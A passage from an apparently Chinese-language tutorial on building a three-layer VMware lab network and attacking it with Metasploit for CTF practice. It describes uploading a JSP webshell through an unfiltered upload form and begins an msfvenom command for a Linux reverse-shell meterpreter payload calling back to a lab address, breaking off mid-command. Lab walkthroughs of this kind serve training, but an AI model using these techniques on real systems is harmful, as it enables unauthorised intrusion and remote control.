三层网络靶场搭建&MSF内网渗透

在最近的CTF比赛中，综合靶场出现的次数越来越多，这种形式的靶场和真实的内网渗透很像，很贴合实际工作，但我们往往缺少多层网络的练习环境。本文通过VMware搭建3层网络，并通过msf进行内网渗透，涉及代理搭建，流量转发，端口映射等常见内网渗透技术。

网络拓扑

环境搭建

首先在虚拟机中新建3块网卡，选择仅主机模式

将kali设为第一层网络vmnet1

将第一层靶机设为双网卡vmnet1和vmnet2

将第二层靶机设置为双网卡：vmnet2和vmnet3：

将第三层靶机设为vmnet3：

至此，我们的3层网络环境就已经搭建完毕。

第一层靶机

Nmap探测一下，发现8080端口：

访问一下：

返现文件上传点，经测试没有任何过滤，可以直接上传任意文件，因此直接上传jsp一句话后门：

上传后返回文件路径，菜刀连接：

为了进一步做内网渗透，上传msf后门：

1、后门制作：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 SessionCommunic